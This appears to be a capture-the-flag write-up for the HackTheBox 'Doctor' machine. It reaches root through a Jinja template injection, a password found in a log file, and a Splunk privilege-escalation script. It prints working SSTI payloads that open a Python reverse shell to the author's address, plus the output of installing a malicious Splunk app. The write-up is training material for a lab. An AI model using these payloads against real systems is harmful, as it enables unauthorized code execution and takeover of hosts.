HTB: Doctor

Doctor card

This is a writeup about a retired HacktheBox machine: Doctor created by egotisticalSW and publish on September 26, 2020. This box is classified as an easy machine. The user part implied a server side template injection and finding a needle in a haystack. The root part required to use a Splunk exploit to elevate our privileges.

User

Recon

We start with an nmap scan. Only the ports 22 (SSH), 80 (HTTP) and 8080 (splunk web interface) are open.

# Nmap 7.80 scan initiated Mon Sep 28 06:35:31 2020 as: nmap -p- -oN nmap -sSV 10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.077s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
8089/tcp open  ssl/http Splunkd httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 28 06:37:56 2020 -- 1 IP address (1 host up) scanned in 145.15 seconds

Web - port 8089

On the port 8089 we have a splunk running (as found by nmap) but we don't have access to the different function as we don't know any credentials.

Front page and contact email

An access to this function will have allowed us to have a remote code execution on the server or allowed us to elevate our privileges on the box.

Web - port 80

The website is about healthcare and doctors. We also see an email contact address on the front page with the domain doctors.htb (note the s at the end).

Front page and contact email

We had the domain to /etc/hosts and browse to it. The website is a "secure" messaging application with a self sign-in function.

Doctor Secure Messaging

We create an account and post a message.

Doctor Secure Messaging

When looking at the page source code we found a comment about the archive function: <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->

SSTI

We check for common vulnerabilities and found out that the application is vulnerable to server side template injection in the title as when our title is {{7*7}} when can see the operation result (49) in the archive.

Message with SSTI test payload

Payload executed in the archive section

We can use this injection to execute command on the system. After a few test we know that python is on the box and can run a few commands. The payload below runs id.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.121\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/id\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

We (obviously) run a netcat listener to catch the command's output.

kali@kali:~/pown/htb_doctor$ nc -l -p 4444
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)

We then go for a reverse shell with the following payload be careful with the quotes and escaped quotes).

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.121\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn(\"/bin/bash\");'").read().zfill(417)}}{%endif%}{% endfor %}

That allow us to get a reverse shell on the box.

Enumeration

After a lot of enumeration both manually and using tools as linPEAS we found out that there is backup file in /var/log/apache2 containing a call to the password reset function but the user put its password instead of its email.

web@doctor:/var/log/apache2$ grep password backup
grep password backup
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

That password allow us to connect as shaun using the switch user su command and get the user flag.

web@doctor:/var/log/apache2$ su shaun
su shaun
Password: Guitar123

shaun@doctor:/var/log/apache2$ cat /home/shaun/user.txt
cat /home/shaun/user.txt
2b14d9d9ff996cfb2e4fb96e6db82631

Root

Now that we have a username and a password we can try them against the Splunk service. And they are working!

We transfer the script mentioned above to the box using python -m http.server on our kali box.

shaun@doctor:/tmp$ wget 10.10.14.121:8000/spelunker.sh
wget 10.10.14.121:8000/spelunker.sh
--2020-09-29 11:22:03--  http://10.10.14.121:8000/spelunker.sh
Connecting to 10.10.14.121:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2503 (2,4K) [text/x-sh]
Saving to: ‘spelunker.sh.1’

spelunker.sh.1      100%[===================>]   2,44K  --.-KB/s    in 0s

2020-09-29 11:22:03 (254 MB/s) - ‘spelunker.sh.1’ saved [2503/2503]

Then, we give the execution permission to the script and run it.

shaun@doctor:/tmp$ chmod +x spelunker.sh.1
chmod +x spelunker.sh.1
shaun@doctor:/tmp$ ./spelunker.sh.1
./spelunker.sh.1

[!] SPLUNK LOCAL PRIVESC [!]
[!] This tool assumes the creds are admin:changeme
[!] and the port is 8089

[*] Creating a tmp workspace and moving there...

[*] Creating the splunk app...

[*] Creating the payload...

Tarballing the App and removing temp files...
./APPY/
./APPY/bin/
./APPY/bin/pay.sh
./APPY/local/
./APPY/local/inputs.conf
[*] App should be created...


[*] Installing the malicious splunk app....
HTTP/1.1 201 Created
Date: Tue, 29 Sep 2020 09:22:31 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Type: text/xml; charset=UTF-8
X-Content-Type-Options: nosniff
Content-Length: 4342
Vary: Cookie, Authorization
Connection: Close
X-Frame-Options: SAMEORIGIN
Server: Splunkd

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="/static/atom.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:s="http://dev.splunk.com/ns/rest" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/">
  <title>localapps</title>
  <id>https://127.0.0.1:8089/services/apps/local</id>
  <updated>2020-09-29T11:22:31+02:00</updated>
  <generator build="a1a6394cc5ae" version="8.0.5"/>
  <author>
    <name>Splunk</name>
  </author>
  <link href="/services/apps/local/_new" rel="create"/>
  <link href="/services/apps/local/_reload" rel="_reload"/>
  <opensearch:totalResults>1</opensearch:totalResults>
  <opensearch:itemsPerPage>30</opensearch:itemsPerPage>
  <opensearch:startIndex>0</opensearch:startIndex>
  <s:messages/>
  <entry>
    <title>APPY</title>
    <id>https://127.0.0.1:8089/servicesNS/nobody/system/apps/local/APPY</id>
    <updated>1970-01-01T01:00:00+01:00</updated>
    <link href="/servicesNS/nobody/system/apps/local/APPY" rel="alternate"/>
    <author>
      <name>nobody</name>
    </author>
    <link href="/servicesNS/nobody/system/apps/local/APPY" rel="list"/>
    <link href="/servicesNS/nobody/system/apps/local/APPY/_reload" rel="_reload"/>
    <link href="/servicesNS/nobody/system/apps/local/APPY" rel="edit"/>
    <link href="/servicesNS/nobody/system/apps/local/APPY" rel="remove"/>
    <link href="/servicesNS/nobody/system/apps/local/APPY/package" rel="package"/>
    <content type="text/xml">
      <s:dict>
        <s:key name="check_for_updates">1</s:key>
        <s:key name="configured">0</s:key>
        <s:key name="core">0</s:key>
        <s:key name="disabled">0</s:key>
        <s:key name="eai:acl">
          <s:dict>
            <s:key name="app">system</s:key>
            <s:key name="can_change_perms">1</s:key>
            <s:key name="can_list">1</s:key>
            <s:key name="can_share_app">1</s:key>
            <s:key name="can_share_global">1</s:key>
            <s:key name="can_share_user">0</s:key>
            <s:key name="can_write">1</s:key>
            <s:key name="modifiable">1</s:key>
            <s:key name="owner">nobody</s:key>
            <s:key name="perms">
              <s:dict>
                <s:key name="read">
                  <s:list>
                    <s:item>*</s:item>
                  </s:list>
                </s:key>
                <s:key name="write">
                  <s:list>
                    <s:item>*</s:item>
                  </s:list>
                </s:key>
              </s:dict>
            </s:key>
            <s:key name="removable">0</s:key>
            <s:key name="sharing">app</s:key>
          </s:dict>
        </s:key>
        <s:key name="install_source_checksum">3d642ab909020d9844b47dbf1a38c77cf7b9e0a0</s:key>
        <s:key name="label">APPY</s:key>
        <s:key name="location">/opt/splunkforwarder/etc/apps/APPY</s:key>
        <s:key name="managed_by_deployment_client">0</s:key>
        <s:key name="name">APPY</s:key>
        <s:key name="show_in_nav">1</s:key>
        <s:key name="source_location">/opt/splunkforwarder/etc/apps/APPY</s:key>
        <s:key name="state_change_requires_restart">0</s:key>
        <s:key name="status">installed</s:key>
        <s:key name="visible">0</s:key>
      </s:dict>
    </content>
  </entry>
</feed>






[*] Removing the malicious splunk app...
HTTP/1.1 200 OK
Date: Tue, 29 Sep 2020 09:22:44 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Type: text/xml; charset=UTF-8
X-Content-Type-Options: nosniff
Content-Length: 1797
Vary: Cookie, Authorization
Connection: Close
X-Frame-Options: SAMEORIGIN
Server: Splunkd

<?xml version="1.0" encoding="UTF-8"?>
<!--This is to override browser formatting; see server.conf[httpServer] to disable. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .-->
<?xml-stylesheet type="text/xml" href="/static/atom.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:s="http://dev.splunk.com/ns/rest" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/">
  <title>localapps</title>
  <id>https://127.0.0.1:8089/services/apps/local</id>
  <updated>2020-09-29T11:22:44+02:00</updated>
  <generator build="a1a6394cc5ae" version="8.0.5"/>
  <author>
    <name>Splunk</name>
  </author>
  <link href="/services/apps/local/_new" rel="create"/>
  <link href="/services/apps/local/_reload" rel="_reload"/>
  <opensearch:totalResults>0</opensearch:totalResults>
  <opensearch:itemsPerPage>30</opensearch:itemsPerPage>
  <opensearch:startIndex>0</opensearch:startIndex>
  <s:messages/>
</feed>



[!] If all went well run /tmp/.tester/bin/shdoor -p for a root shell
[!] Run whoami if your prompt didn't change...

[!] DELETE THE .tester DIRECTORY AS ROOT WHEN YOU'RE DONE! [!]

We then run the binary shdoor and get a root shell allowing us to retrive the root flag.

shaun@doctor:/tmp$ /tmp/.tester/bin/shdoor -p
/tmp/.tester/bin/shdoor -p
# id
id
uid=1002(shaun) gid=1002(shaun) euid=0(root) groups=1002(shaun)
# cat /root/root.txt
cat /root/root.txt
d32cd0d4b24856

Wrapping up